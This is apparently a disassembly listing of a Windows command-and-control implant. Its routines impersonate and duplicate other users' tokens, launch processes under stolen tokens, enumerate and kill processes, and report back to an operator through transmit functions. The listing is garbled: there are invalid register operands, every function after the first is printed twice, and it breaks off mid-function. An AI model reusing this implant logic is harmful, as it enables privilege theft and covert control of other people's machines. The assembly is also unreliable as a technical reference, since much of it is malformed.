1400199f3rep stosb [rdi], al
1400199f5mov rcx, r12
1400199f8xor edi, edi
1400199facall AnonPipesInit
1400199ffmov rax, [r12+8]
140019a04mov [rsp+216], rdi
140019a0cmov [rsp+232], rax
140019a14mov [rsp+224], rax
140019a1c
140019a1cloc_140019a1c:
140019a1ctest r15, r15
140019a1fje 0x140019a60
140019a21lea r9, [rip+0x109ff]
140019a28mov r8l, 617
140019a2elea rdx, [rip+0x13aab]
140019a35lea rcx, [rip+0x10931]
140019a3ccall printf
140019a41mov rax, [r15+8]
140019a45xor r11l, r11l
140019a48mov [rsp+216], r11
140019a50mov [rsp+232], rax
140019a58mov [rsp+224], rax
140019a60
140019a60loc_140019a60:
140019a60mov r15l, [rbx+2290]
140019a67test r15l, r15l
140019a6aje 0x140019d49
140019a70lea r9, [rip+0x109cb]
140019a77mov r8l, 641
140019a7dlea rdx, [rip+0x13a5c]
140019a84mov r15l, 260
140019a8alea rcx, [rip+0x108dc]
140019a91lea rdi, [rsp+240]
140019a99call printf
140019a9exor eax, eax
140019aa0mov rcx, r15
140019aa3rep stosd [rdi], eax
140019aa5lea rdi, [rsp+240]
140019aadmov rdx, rdi
140019ab0mov r15, rcx
140019ab3mov ecx, 520
140019ab8call [rbx+996]
140019abetest eax, eax
140019ac0cmovne r15, rdi
140019ac4xor ecx, ecx
140019ac6call TokenImpersonate
140019acbmov ecx, 1
140019ad0call TokenSetSeImpersonatePriv
140019ad5mov r9, rsi
140019ad8mov r8l, 654
140019adelea rdx, [rip+0x139fb]
140019ae5lea rcx, [rip+0x10962]
140019aeccall printf
140019af1lea rcx, [rip+0x1097f]
140019af8mov r9, r15
140019afbmov r8l, 655
140019b01lea rdx, [rip+0x139d8]
140019b08call printf
140019b0dmov rcx, [rbx+2282]
140019b14mov eax, [rcx+20]
140019b17cmp ax, 1
140019b1bjne 0x140019c35
140019b21lea rdi, [rsp+128]
140019b29xor r8l, r8l
140019b2cmov edx, 0xf01ff
140019b31mov [rsp+32], 1
140019b39mov [rsp+40], rdi
140019b3emov rcx, [rcx]
140019b41mov r9l, 3
140019b47call SysDuplicateTokenEx
140019b4ctest eax, eax
140019b4ejne 0x140019ba2
140019b50mov rax, [rbx+2282]
140019b57mov [rsp+40], rdi
140019b5cxor r8l, r8l
140019b5fmov r9l, 2
140019b65mov [rsp+32], 1
140019b6dmov edx, 0xf01ff
140019b72mov rcx, [rax]
140019b75call SysDuplicateTokenEx
140019b7atest eax, eax
140019b7cjne 0x140019ba2
140019b7emov rax, [rbx+2230]
140019b85mov r8l, 664
140019b8blea rdx, [rip+0x1394e]
140019b92lea rcx, [rip+0x10907]
140019b99mov r9l, [rax+104]
140019b9djmp 0x140019d12
140019ba2
140019ba2loc_140019ba2:
140019ba2lea r9, [rip+0x10927]
140019ba9mov r8l, 671
140019baflea rdx, [rip+0x1392a]
140019bb6or ebp, 0x8000000
140019bbclea rcx, [rip+0x107aa]
140019bc3call printf
140019bc8xor r10l, r10l
140019bcbmov [rsp+64], r13
140019bd0mov r9, rsi
140019bd3lea rax, [rsp+136]
140019bdbmov [rsp+48], r15
140019be0mov r8, [rsp+1368]
140019be8mov edx, 2
140019bedmov [rsp+56], rax
140019bf2mov rcx, [rsp+128]
140019bfamov [rsp+40], r10
140019bffmov [rsp+32], ebp
140019c03call [rbx+1356]
140019c09test eax, eax
140019c0bjne 0x140019d3e
140019c11mov rax, [rbx+2230]
140019c18mov r8l, 685
140019c1elea rdx, [rip+0x138bb]
140019c25lea rcx, [rip+0x108bc]
140019c2cmov r9l, [rax+104]
140019c30jmp 0x140019d12
140019c35
140019c35loc_140019c35:
140019c35cmp ax, 2
140019c39jne 0x140019d3e
140019c3flea r9, [rip+0x108d8]
140019c46mov r8l, 693
140019c4clea rdx, [rip+0x1388d]
140019c53or ebp, 0x8000000
140019c59lea rcx, [rip+0x1070d]
140019c60call printf
140019c65mov rax, [rbx+2282]
140019c6cmov r8l, 694
140019c72lea rcx, [rip+0x108bd]
140019c79mov rdx, [rax+32]
140019c7dmov r9, [rax+24]
140019c81mov [rsp+40], rdx
140019c86mov rax, [rax+40]
140019c8alea rdx, [rip+0x1384f]
140019c91mov [rsp+32], rax
140019c96call printf
140019c9bmov rax, [rbx+2282]
140019ca2xor r9l, r9l
140019ca5mov r8, [rax+32]
140019ca9mov rdx, [rax+40]
140019cadmov rcx, [rax+24]
140019cb1lea rax, [rsp+136]
140019cb9mov [rsp+56], r9
140019cbemov r9l, 2
140019cc4mov [rsp+72], rax
140019cc9mov rax, [rsp+1368]
140019cd1mov [rsp+80], r13
140019cd6mov [rsp+64], r15
140019cdbmov [rsp+48], ebp
140019cdfmov [rsp+40], rsi
140019ce4mov [rsp+32], rax
140019ce9call [rbx+1364]
140019ceftest eax, eax
140019cf1jne 0x140019d3e
140019cf3mov rax, [rbx+2230]
140019cfamov r8l, 708
140019d00lea rdx, [rip+0x137d9]
140019d07lea rcx, [rip+0x1085f]
140019d0emov r9l, [rax+104]
140019d12
140019d12loc_140019d12:
140019d12call printf
140019d17mov ecx, 1
140019d1cmov ebp, 1
140019d21mov rax, [rbx+2230]
140019d28mov edx, [rax+104]
140019d2bcall PackageTransmitError
140019d30test r14l, r14l
140019d33jne 0x140019f8f
140019d39jmp 0x140019f7b
140019d3e
140019d3eloc_140019d3e:
140019d3emov r15l, 1
140019d44jmp 0x140019ddc
140019d49
140019d49loc_140019d49:
140019d49xor ecx, ecx
140019d4blea rax, [rsp+136]
140019d53xor r9l, r9l
140019d56xor r8l, r8l
140019d59or ebp, 0x8000000
140019d5fmov [rsp+56], rcx
140019d64mov rdx, rsi
140019d67mov [rsp+48], rcx
140019d6cmov rcx, [rsp+1368]
140019d74mov [rsp+40], ebp
140019d78mov [rsp+72], r13
140019d7dmov [rsp+64], rax
140019d82mov [rsp+32], 1
140019d8acall [rbx+956]
140019d90mov ebp, eax
140019d92test eax, eax
140019d94jne 0x140019ddc
140019d96mov rax, [rbx+2230]
140019d9dlea rdx, [rip+0x1373c]
140019da4lea rcx, [rip+0x107f8]
140019dabmov r8l, 729
140019db1mov r9l, [rax+104]
140019db5call printf
140019dbamov rax, [rbx+2230]
140019dc1mov ecx, 1
140019dc6mov edx, [rax+104]
140019dc9call PackageTransmitError
140019dcetest r14l, r14l
140019dd1jne 0x140019f8f
140019dd7jmp 0x140019f60
140019ddc
140019ddcloc_140019ddc:
140019ddccmp [r13], 0
140019de1je 0x140019f2f
140019de7mov rax, [rip+0x12582]
140019deecmp [rax+224], 0
140019df5je 0x140019f2f
140019dfblea r9, [rip+0x107ce]
140019e02mov r8l, 739
140019e08lea rdx, [rip+0x136d1]
140019e0flea rcx, [rip+0x10557]
140019e16call printf
140019e1btest rsi, rsi
140019e1ejne 0x140019e4f
140019e20mov rdx, [rsp+1368]
140019e28mov rcx, [rsp+104]
140019e2dcall PackageAddWString
140019e32mov rcx, [rsp+104]
140019e37mov edx, [r13+16]
140019e3bcall PackageAddInt32
140019e40mov rcx, [rsp+104]
140019e45call PackageTransmit
140019e4ajmp 0x140019f2f
140019e4f
140019e4floc_140019e4f:
140019e4fmov rcx, rsi
140019e52call StringLengthW
140019e57mov ecx, 64
140019e5cmovsxd rbp, eax
140019e5fmov [rsp+124], eax
140019e63mov rax, [rip+0x12506]
140019e6alea rdx, [rbp+rbp]
140019e6fcall [rax+932]
140019e75mov r8l, [rsp+124]
140019e7amov rcx, rbp
140019e7dmov rdi, rax
140019e80mov [rsp+112], rax
140019e85rep movsb [rdi], [rsi]
140019e87mov rsi, rax
140019e8axor eax, eax
140019e8c
140019e8cloc_140019e8c:
140019e8ccmp eax, r8l
140019e8fjge 0x140019ea2
140019e91cmp [rsi], 32
140019e95lea rdx, [rsi+2]
140019e99je 0x140019ea2
140019e9binc eax
140019e9dmov rsi, rdx
140019ea0jmp 0x140019e8c
140019ea2
140019ea2loc_140019ea2:
140019ea2mov r9, [rsp+112]
140019ea7lea rdi, [rip+0x13632]
140019eaemov r8l, 757
140019eb4lea rcx, [rip+0x104b2]
140019ebbmov rdx, rdi
140019ebecall printf
140019ec3mov eax, [r13+16]
140019ec7mov [rsi], 0
140019eccmov r8l, 760
140019ed2mov r9, [rsp+112]
140019ed7mov rdx, rdi
140019edalea rcx, [rip+0x106fe]
140019ee1mov [rsp+32], eax
140019ee5call printf
140019eeamov rdx, [rsp+112]
140019eefmov rcx, [rsp+104]
140019ef4call PackageAddWString
140019ef9mov edx, [r13+16]
140019efdmov rcx, [rsp+104]
140019f02call PackageAddInt32
140019f07mov rcx, [rsp+104]
140019f0ccall PackageTransmit
140019f11mov rdi, [rsp+112]
140019f16mov rcx, rbp
140019f19xor eax, eax
140019f1brep stosb [rdi], al
140019f1dmov rax, [rip+0x1244c]
140019f24mov rcx, [rsp+112]
140019f29call [rax+940]
140019f2f
140019f2floc_140019f2f:
140019f2ftest r14l, r14l
140019f32je 0x140019fda
140019f38mov edx, [r13+16]
140019f3cmov ecx, [rbx+8]
140019f3fmov [rsp+40], r12
140019f44mov r9l, 1
140019f4amov rax, [r13]
140019f4emov r8l, 3
140019f54mov [rsp+32], rax
140019f59call JobAdd
140019f5ejmp 0x140019fda
140019f60
140019f60loc_140019f60:
140019f60mov rcx, [rsp+128]
140019f68test rcx, rcx
140019f6bje 0x14001a003
140019f71call SysNtClose
140019f76jmp 0x14001a003
140019f7b
140019f7bloc_140019f7b:
140019f7bmov rcx, [rsp+128]
140019f83test rcx, rcx
140019f86je 0x140019ff9
140019f88call SysNtClose
140019f8djmp 0x140019ff9
140019f8f
140019f8floc_140019f8f:
140019f8fmov rcx, [r12+8]
140019f94test rcx, rcx
140019f97je 0x140019fa5
140019f99call SysNtClose
140019f9exor edx, edx
140019fa0mov [r12+8], rdx
140019fa5
140019fa5loc_140019fa5:
140019fa5mov rcx, [r12]
140019fa9test rcx, rcx
140019facje 0x140019fb9
140019faecall SysNtClose
140019fb3xor eax, eax
140019fb5mov [r12], rax
140019fb9
140019fb9loc_140019fb9:
140019fb9mov rdi, r12
140019fbcmov ecx, 16
140019fc1xor eax, eax
140019fc3rep stosb [rdi], al
140019fc5mov rax, [rip+0x123a4]
140019fccmov rcx, r12
140019fcfxor r14l, r14l
140019fd2call [rax+940]
140019fd8jmp 0x140019fe3
140019fda
140019fdaloc_140019fda:
140019fdamov ebp, r15l
140019fddmov r14l, 1
140019fe3
140019fe3loc_140019fe3:
140019fe3mov rcx, [rsp+128]
140019febtest rcx, rcx
140019feeje 0x140019ff5
140019ff0call SysNtClose
140019ff5
140019ff5loc_140019ff5:
140019ff5test ebp, ebp
140019ff7je 0x14001a003
140019ff9
140019ff9loc_140019ff9:
140019ff9mov ecx, 1
140019ffecall TokenImpersonate
14001a003
14001a003loc_14001a003:
14001a003add rsp, 1288
14001a00amov eax, r14l
14001a00dpop rbx
14001a00epop rsi
14001a00fpop rdi
14001a010pop rbp
14001a011pop r12
14001a013pop r13
14001a015pop r14
14001a017pop r15
14001a019ret
140019920
14001a01a
14001a01a // align 0x10
14001a01a // align 0x10
14001a020
14001a020ProcessIsIncluded:
14001a020mov r8l, [rcx]
14001a023xor eax, eax
14001a025
14001a025loc_14001a025:
14001a025cmp eax, r8l
14001a028jae 0x14001a038
14001a02ainc rax
14001a02dcmp [rcx+4*rax], edx
14001a030jne 0x14001a025
14001a032mov eax, 1
14001a037ret
14001a038
14001a038loc_14001a038:
14001a038xor eax, eax
14001a03aret
14001a020
14001a020ProcessIsIncluded:
14001a020mov r8l, [rcx]
14001a023xor eax, eax
14001a025
14001a025loc_14001a025:
14001a025cmp eax, r8l
14001a028jae 0x14001a038
14001a02ainc rax
14001a02dcmp [rcx+4*rax], edx
14001a030jne 0x14001a025
14001a032mov eax, 1
14001a037ret
14001a038
14001a038loc_14001a038:
14001a038xor eax, eax
14001a03aret
14001a020
14001a03b
14001a03b // align 0x10
14001a03b // align 0x10
14001a040
14001a040ProcessIsWow:
14001a040push rbx
14001a041xor edx, edx
14001a043sub rsp, 64
14001a047mov [rsp+56], rdx
14001a04ctest rcx, rcx
14001a04fje 0x14001a0a2
14001a051mov rax, [rip+0x12318]
14001a058cmp [rax+88], 0
14001a05dje 0x14001a0a2
14001a05fxor eax, eax
14001a061mov r9l, 8
14001a067lea r8, [rsp+56]
14001a06cmov rbx, rcx
14001a06fmov [rsp+32], rax
14001a074mov edx, 26
14001a079call SysNtQueryInformationProcess
14001a07etest eax, eax
14001a080jns 0x14001a0a6
14001a082mov [rsp+32], eax
14001a086mov r9, rbx
14001a089mov r8l, 559
14001a08flea rdx, [rip+0x1295a]
14001a096lea rcx, [rip+0x101b3]
14001a09dcall printf
14001a0a2
14001a0a2loc_14001a0a2:
14001a0a2xor eax, eax
14001a0a4jmp 0x14001a0aa
14001a0a6
14001a0a6loc_14001a0a6:
14001a0a6mov eax, [rsp+56]
14001a0aa
14001a0aaloc_14001a0aa:
14001a0aaadd rsp, 64
14001a0aepop rbx
14001a0afret
14001a040
14001a040ProcessIsWow:
14001a040push rbx
14001a041xor edx, edx
14001a043sub rsp, 64
14001a047mov [rsp+56], rdx
14001a04ctest rcx, rcx
14001a04fje 0x14001a0a2
14001a051mov rax, [rip+0x12318]
14001a058cmp [rax+88], 0
14001a05dje 0x14001a0a2
14001a05fxor eax, eax
14001a061mov r9l, 8
14001a067lea r8, [rsp+56]
14001a06cmov rbx, rcx
14001a06fmov [rsp+32], rax
14001a074mov edx, 26
14001a079call SysNtQueryInformationProcess
14001a07etest eax, eax
14001a080jns 0x14001a0a6
14001a082mov [rsp+32], eax
14001a086mov r9, rbx
14001a089mov r8l, 559
14001a08flea rdx, [rip+0x1295a]
14001a096lea rcx, [rip+0x101b3]
14001a09dcall printf
14001a0a2
14001a0a2loc_14001a0a2:
14001a0a2xor eax, eax
14001a0a4jmp 0x14001a0aa
14001a0a6
14001a0a6loc_14001a0a6:
14001a0a6mov eax, [rsp+56]
14001a0aa
14001a0aaloc_14001a0aa:
14001a0aaadd rsp, 64
14001a0aepop rbx
14001a0afret
14001a040
14001a0b0
14001a0b0ProcessMemFileChunk:
14001a0b0sub rsp, 40
14001a0b4call MemFileIsNew
14001a0b9test eax, eax
14001a0bbje 0x14001a0c6
14001a0bdadd rsp, 40
14001a0c1jmp 0x1400186b0
14001a0c6
14001a0c6loc_14001a0c6:
14001a0c6add rsp, 40
14001a0cajmp 0x1400181c0
14001a0b0
14001a0b0ProcessMemFileChunk:
14001a0b0sub rsp, 40
14001a0b4call MemFileIsNew
14001a0b9test eax, eax
14001a0bbje 0x14001a0c6
14001a0bdadd rsp, 40
14001a0c1jmp 0x1400186b0
14001a0c6
14001a0c6loc_14001a0c6:
14001a0c6add rsp, 40
14001a0cajmp 0x1400181c0
14001a0b0
14001a0cf
14001a0cf // align 0x10
14001a0cf // align 0x10
14001a0d0
14001a0d0ProcessOpen:
14001a0d0push rdi
14001a0d1xor eax, eax
14001a0d3mov r8l, ecx
14001a0d6mov ecx, 11
14001a0dbpush rbx
14001a0dcsub rsp, 120
14001a0e0mov [rsp+40], rax
14001a0e5lea rdi, [rsp+68]
14001a0ealea r9, [rsp+48]
14001a0efmov [rsp+56], rax
14001a0f4xor eax, eax
14001a0f6rep stosd [rdi], eax
14001a0f8mov eax, r8l
14001a0fblea rcx, [rsp+40]
14001a100lea r8, [rsp+64]
14001a105mov [rsp+64], 48
14001a10dmov [rsp+48], rax
14001a112call SysNtOpenProcess
14001a117mov ebx, eax
14001a119mov rax, [rsp+40]
14001a11etest ebx, ebx
14001a120jns 0x14001a159
14001a122mov r9l, ebx
14001a125mov r8l, 531
14001a12blea rdx, [rip+0x1292e]
14001a132lea rcx, [rip+0x100ea]
14001a139call printf
14001a13emov rax, [rip+0x1222b]
14001a145mov ecx, ebx
14001a147mov rdi, [rax+2230]
14001a14ecall [rax+348]
14001a154mov [rdi+104], eax
14001a157xor eax, eax
14001a159
14001a159loc_14001a159:
14001a159add rsp, 120
14001a15dpop rbx
14001a15epop rdi
14001a15fret
14001a0d0
14001a0d0ProcessOpen:
14001a0d0push rdi
14001a0d1xor eax, eax
14001a0d3mov r8l, ecx
14001a0d6mov ecx, 11
14001a0dbpush rbx
14001a0dcsub rsp, 120
14001a0e0mov [rsp+40], rax
14001a0e5lea rdi, [rsp+68]
14001a0ealea r9, [rsp+48]
14001a0efmov [rsp+56], rax
14001a0f4xor eax, eax
14001a0f6rep stosd [rdi], eax
14001a0f8mov eax, r8l
14001a0fblea rcx, [rsp+40]
14001a100lea r8, [rsp+64]
14001a105mov [rsp+64], 48
14001a10dmov [rsp+48], rax
14001a112call SysNtOpenProcess
14001a117mov ebx, eax
14001a119mov rax, [rsp+40]
14001a11etest ebx, ebx
14001a120jns 0x14001a159
14001a122mov r9l, ebx
14001a125mov r8l, 531
14001a12blea rdx, [rip+0x1292e]
14001a132lea rcx, [rip+0x100ea]
14001a139call printf
14001a13emov rax, [rip+0x1222b]
14001a145mov ecx, ebx
14001a147mov rdi, [rax+2230]
14001a14ecall [rax+348]
14001a154mov [rdi+104], eax
14001a157xor eax, eax
14001a159
14001a159loc_14001a159:
14001a159add rsp, 120
14001a15dpop rbx
14001a15epop rdi
14001a15fret
14001a0d0
14001a160
14001a160ProcessSnapShot:
14001a160push rbp
14001a161xor eax, eax
14001a163push rdi
14001a164push rsi
14001a165push rbx
14001a166sub rsp, 56
14001a16amov [rsp+44], eax
14001a16etest rcx, rcx
14001a171je 0x14001a17b
14001a173mov rsi, rdx
14001a176test rdx, rdx
14001a179jne 0x14001a185
14001a17b
14001a17bloc_14001a17b:
14001a17bmov ebx, 0xffffffffc000000d
14001a180jmp 0x14001a23e
14001a185
14001a185loc_14001a185:
14001a185lea rbp, [rsp+44]
14001a18amov rbx, rcx
14001a18dxor r8l, r8l
14001a190xor edx, edx
14001a192mov r9, rbp
14001a195mov ecx, 5
14001a19acall SysNtQuerySystemInformation
14001a19ftest eax, eax
14001a1a1jns 0x14001a17b
14001a1a3mov r9l, [rsp+44]
14001a1a8lea rdi, [rip+0x131e1]
14001a1afmov r8l, 862
14001a1b5lea rcx, [rip+0x101c5]
14001a1bcmov rdx, rdi
14001a1bfcall printf
14001a1c4mov eax, [rsp+44]
14001a1c8lea r8l, [rax+4096]
14001a1cfmov rax, [rip+0x1219a]
14001a1d6mov [rsp+44], r8l
14001a1dbmov rdx, [rax+2230]
14001a1e2mov rdx, [rdx+96]
14001a1e6mov rcx, [rdx+48]
14001a1eamov edx, 8
14001a1efcall [rax+316]
14001a1f5mov [rbx], rax
14001a1f8mov rdx, rax
14001a1fbtest rax, rax
14001a1feje 0x14001a232
14001a200mov r8l, [rsp+44]
14001a205mov r9, rbp
14001a208mov ecx, 5
14001a20dcall SysNtQuerySystemInformation
14001a212mov ebx, eax
14001a214test eax, eax
14001a216jns 0x14001a237
14001a218mov r9l, eax
14001a21bmov r8l, 871
14001a221mov rdx, rdi
14001a224lea rcx, [rip+0x1018b]
14001a22bcall printf
14001a230jmp 0x14001a23e
14001a232
14001a232loc_14001a232:
14001a232mov ebx, 0xffffffffc0000017
14001a237
14001a237loc_14001a237:
14001a237mov eax, [rsp+44]
14001a23bmov [rsi], rax
14001a23e
14001a23eloc_14001a23e:
14001a23eadd rsp, 56
14001a242mov eax, ebx
14001a244pop rbx
14001a245pop rsi
14001a246pop rdi
14001a247pop rbp
14001a248ret
14001a160
14001a160ProcessSnapShot:
14001a160push rbp
14001a161xor eax, eax
14001a163push rdi
14001a164push rsi
14001a165push rbx
14001a166sub rsp, 56
14001a16amov [rsp+44], eax
14001a16etest rcx, rcx
14001a171je 0x14001a17b
14001a173mov rsi, rdx
14001a176test rdx, rdx
14001a179jne 0x14001a185
14001a17b
14001a17bloc_14001a17b:
14001a17bmov ebx, 0xffffffffc000000d
14001a180jmp 0x14001a23e
14001a185
14001a185loc_14001a185:
14001a185lea rbp, [rsp+44]
14001a18amov rbx, rcx
14001a18dxor r8l, r8l
14001a190xor edx, edx
14001a192mov r9, rbp
14001a195mov ecx, 5
14001a19acall SysNtQuerySystemInformation
14001a19ftest eax, eax
14001a1a1jns 0x14001a17b
14001a1a3mov r9l, [rsp+44]
14001a1a8lea rdi, [rip+0x131e1]
14001a1afmov r8l, 862
14001a1b5lea rcx, [rip+0x101c5]
14001a1bcmov rdx, rdi
14001a1bfcall printf
14001a1c4mov eax, [rsp+44]
14001a1c8lea r8l, [rax+4096]
14001a1cfmov rax, [rip+0x1219a]
14001a1d6mov [rsp+44], r8l
14001a1dbmov rdx, [rax+2230]
14001a1e2mov rdx, [rdx+96]
14001a1e6mov rcx, [rdx+48]
14001a1eamov edx, 8
14001a1efcall [rax+316]
14001a1f5mov [rbx], rax
14001a1f8mov rdx, rax
14001a1fbtest rax, rax
14001a1feje 0x14001a232
14001a200mov r8l, [rsp+44]
14001a205mov r9, rbp
14001a208mov ecx, 5
14001a20dcall SysNtQuerySystemInformation
14001a212mov ebx, eax
14001a214test eax, eax
14001a216jns 0x14001a237
14001a218mov r9l, eax
14001a21bmov r8l, 871
14001a221mov rdx, rdi
14001a224lea rcx, [rip+0x1018b]
14001a22bcall printf
14001a230jmp 0x14001a23e
14001a232
14001a232loc_14001a232:
14001a232mov ebx, 0xffffffffc0000017
14001a237
14001a237loc_14001a237:
14001a237mov eax, [rsp+44]
14001a23bmov [rsi], rax
14001a23e
14001a23eloc_14001a23e:
14001a23eadd rsp, 56
14001a242mov eax, ebx
14001a244pop rbx
14001a245pop rsi
14001a246pop rdi
14001a247pop rbp
14001a248ret
14001a160
14001a249
14001a249 // align 0x10
14001a249 // align 0x10
14001a250
14001a250ProcessTerminate:
14001a250push rbp
14001a251push rdi
14001a252push rsi
14001a253lea rsi, [rip+0x131f6]
14001a25apush rbx
14001a25bsub rsp, 56
14001a25ftest rcx, rcx
14001a262jne 0x14001a2d2
14001a264mov r9l, edx
14001a267mov edx, 1
14001a26cmov ecx, r9l
14001a26fmov [rsp+104], r9l
14001a274call ProcessOpen
14001a279mov r9l, [rsp+104]
14001a27etest rax, rax
14001a281mov rbx, rax
14001a284jne 0x14001a2b1
14001a286mov rax, [rip+0x120e3]
14001a28dmov r8l, 816
14001a293mov rdx, rsi
14001a296xor edi, edi
14001a298lea rcx, [rip+65535]
14001a29fmov rax, [rax+2230]
14001a2a6mov r9l, [rax+104]
14001a2aacall printf
14001a2afjmp 0x14001a32c
14001a2b1
14001a2b1loc_14001a2b1:
14001a2b1mov [rsp+32], rax
14001a2b6mov r8l, 820
14001a2bcmov rdx, rsi
14001a2bflea rcx, [rip+0x10014]
14001a2c6mov ebp, 1
14001a2cbcall printf
14001a2d0jmp 0x14001a2ef
14001a2d2
14001a2d2loc_14001a2d2:
14001a2d2mov r9, rcx
14001a2d5mov rbx, rcx
14001a2d8mov r8l, 824
14001a2demov rdx, rsi
14001a2e1lea rcx, [rip+0x1002c]
14001a2e8xor ebp, ebp
14001a2eacall printf
14001a2ef
14001a2efloc_14001a2ef:
14001a2efxor edx, edx
14001a2f1mov rcx, rbx
14001a2f4mov edi, 1
14001a2f9call SysNtTerminateProcess
14001a2fetest eax, eax
14001a300jns 0x14001a320
14001a302lea r9, [rip+0x10048]
14001a309mov r8l, 831
14001a30fmov rdx, rsi
14001a312xor edi, edi
14001a314lea rcx, [rip+0x10052]
14001a31bcall printf
14001a320
14001a320loc_14001a320:
14001a320test ebp, ebp
14001a322je 0x14001a32c
14001a324mov rcx, rbx
14001a327call SysNtClose
14001a32c
14001a32cloc_14001a32c:
14001a32cadd rsp, 56
14001a330mov eax, edi
14001a332pop rbx
14001a333pop rsi
14001a334pop rdi
14001a335pop rbp
14001a336ret
14001a250
14001a250ProcessTerminate:
14001a250push rbp
14001a251push rdi
14001a252push rsi
14001a253lea rsi, [rip+0x131f6]
14001a25apush rbx
14001a25bsub rsp, 56
14001a25ftest rcx, rcx
14001a262jne 0x14001a2d2
14001a264mov r9l, edx
14001a267mov edx, 1
14001a26cmov ecx, r9l
14001a26fmov [rsp+104], r9l
14001a274call ProcessOpen
14001a279mov r9l, [rsp+104]
14001a27etest rax, rax
14001a281mov rbx, rax
14001a284jne 0x14001a2b1
14001a286mov rax, [rip+0x120e3]
14001a28dmov r8l, 816
14001a293mov rdx, rsi
14001a296xor edi, edi
14001a298lea rcx, [rip+65535]
14001a29fmov rax, [rax+2230]
14001a2a6mov r9l, [rax+104]
14001a2aacall printf
14001a2afjmp 0x14001a32c
14001a2b1
14001a2b1loc_14001a2b1:
14001a2b1mov [rsp+32], rax
14001a2b6mov r8l, 820
14001a2bcmov rdx, rsi
14001a2bflea rcx, [rip+0x10014]
14001a2c6mov ebp, 1
14001a2cbcall printf
14001a2d0jmp 0x14001a2ef
14001a2d2
14001a2d2loc_14001a2d2:
14001a2d2mov r9, rcx
14001a2d5mov rbx, rcx
14001a2d8mov r8l, 824
14001a2demov rdx, rsi
14001a2e1lea rcx, [rip+0x1002c]
14001a2e8xor ebp, ebp
14001a2eacall printf
14001a2ef
14001a2efloc_14001a2ef:
14001a2efxor edx, edx
14001a2f1mov rcx, rbx
14001a2f4mov edi, 1
14001a2f9call SysNtTerminateProcess
14001a2fetest eax, eax
14001a300jns 0x14001a320
14001a302lea r9, [rip+0x10048]
14001a309mov r8l, 831
14001a30fmov rdx, rsi
14001a312xor edi, edi
14001a314lea rcx, [rip+0x10052]
14001a31bcall printf
14001a320
14001a320loc_14001a320:
14001a320test ebp, ebp
14001a322je 0x14001a32c
14001a324mov rcx, rbx
14001a327call SysNtClose
14001a32c
14001a32cloc_14001a32c:
14001a32cadd rsp, 56
14001a330mov eax, edi
14001a332pop rbx
14001a333pop rsi
14001a334pop rdi
14001a335pop rbp
14001a336ret
14001a250
14001a337
14001a337 // align 0x10
14001a337 // align 0x10
14001a340
14001a340ProcessUserToken:
14001a340push r14
14001a342xor eax, eax
14001a344push r13
14001a346push r12
14001a348mov r12l, r9l
14001a34bpush rbp
14001a34cmov ebp, edx
14001a34exor edx, edx
14001a350push rdi
14001a351push rsi
14001a352mov rsi, r8
14001a355push rbx
14001a356mov rbx, rcx
14001a359mov ecx, 264
14001a35esub rsp, 1136
14001a365lea rdi, [rsp+80]
14001a36alea r14, [rsp+64]
14001a36fmov [rsp+64], rdx
14001a374rep stosd [rdi], eax
14001a376mov [rsp+32], r14
14001a37bxor eax, eax
14001a37dmov rcx, rbx
14001a380mov [rsp+72], rdx
14001a385lea r9, [rsp+60]
14001a38alea rdx, [rsp+52]
14001a38flea r8, [rsp+56]
14001a394mov [rsp+52], eax
14001a398mov [rsp+56], eax
14001a39cmov [rsp+60], eax
14001a3a0call GetTokenInfo
14001a3a5test eax, eax
14001a3a7je 0x14001a465
14001a3admov r13l, [rsp+52]
14001a3b2lea rdi, [rsp+80]
14001a3b7cmp r13l, 1
14001a3bbje 0x14001a3c9
14001a3bdmov eax, [rsp+60]
14001a3c1sub eax, 2
14001a3c4cmp eax, 1
14001a3c7ja 0x14001a441
14001a3c9
14001a3c9loc_14001a3c9:
14001a3c9mov rdx, [rsp+1232]
14001a3d1mov ecx, r12l
14001a3d4mov r8, r14
14001a3d7call IsNotCurrentUser
14001a3dcmov r12, [rsp+64]
14001a3e1test eax, eax
14001a3e3je 0x14001a441
14001a3e5mov rcx, rbx
14001a3e8call CanTokenBeImpersonated
14001a3edtest eax, eax
14001a3efje 0x14001a441
14001a3f1mov rdx, r12
14001a3f4mov rcx, rdi
14001a3f7call StringCopyW
14001a3fcmov eax, [rsp+56]
14001a400mov r8, [rsp+1248]
14001a408mov rcx, rdi
14001a40bmov rdx, [rsp+1240]
14001a413mov [rsp+1104], ebp
14001a41amov [rsp+1120], eax
14001a421mov eax, [rsp+60]
14001a425mov [rsp+1112], rsi
14001a42dmov [rsp+1124], eax
14001a434mov [rsp+1128], r13l
14001a43ccall AddUserToken
14001a441
14001a441loc_14001a441:
14001a441mov rdi, [rsp+64]
14001a446test rdi, rdi
14001a449je 0x14001a465
14001a44bmov ecx, [rsp+72]
14001a44fxor eax, eax
14001a451rep stosb [rdi], al
14001a453mov rax, [rip+0x11f16]
14001a45amov rcx, [rsp+64]
14001a45fcall [rax+940]
14001a465
14001a465loc_14001a465:
14001a465add rsp, 1136
14001a46cpop rbx
14001a46dpop rsi
14001a46epop rdi
14001a46fpop rbp
14001a470pop r12
14001a472pop r13
14001a474pop r14
14001a476ret
14001a340
14001a340ProcessUserToken:
14001a340push r14
14001a342xor eax, eax
14001a344push r13
14001a346push r12
14001a348mov r12l, r9l
14001a34bpush rbp
14001a34cmov ebp, edx
14001a34exor edx, edx
14001a350push rdi
14001a351push rsi
14001a352mov rsi, r8
14001a355push rbx
14001a356mov rbx, rcx
14001a359mov ecx, 264
14001a35esub rsp, 1136
14001a365lea rdi, [rsp+80]
14001a36alea r14, [rsp+64]
14001a36fmov [rsp+64], rdx
14001a374rep stosd [rdi], eax
14001a376mov [rsp+32], r14
14001a37bxor eax, eax
14001a37dmov rcx, rbx
14001a380mov [rsp+72], rdx
14001a385lea r9, [rsp+60]
14001a38alea rdx, [rsp+52]
14001a38flea r8, [rsp+56]
14001a394mov [rsp+52], eax
14001a398mov [rsp+56], eax
14001a39cmov [rsp+60], eax
14001a3a0call GetTokenInfo
14001a3a5test eax, eax
14001a3a7je 0x14001a465
14001a3admov r13l, [rsp+52]
14001a3b2lea rdi, [rsp+80]
14001a3b7cmp r13l, 1
14001a3bbje 0x14001a3c9
14001a3bdmov eax, [rsp+60]
14001a3c1sub eax, 2
14001a3c4cmp eax, 1
14001a3c7ja 0x14001a441
14001a3c9
14001a3c9loc_14001a3c9:
14001a3c9mov rdx, [rsp+1232]
14001a3d1mov ecx, r12l
14001a3d4mov r8, r14
14001a3d7call IsNotCurrentUser
14001a3dcmov r12, [rsp+64]
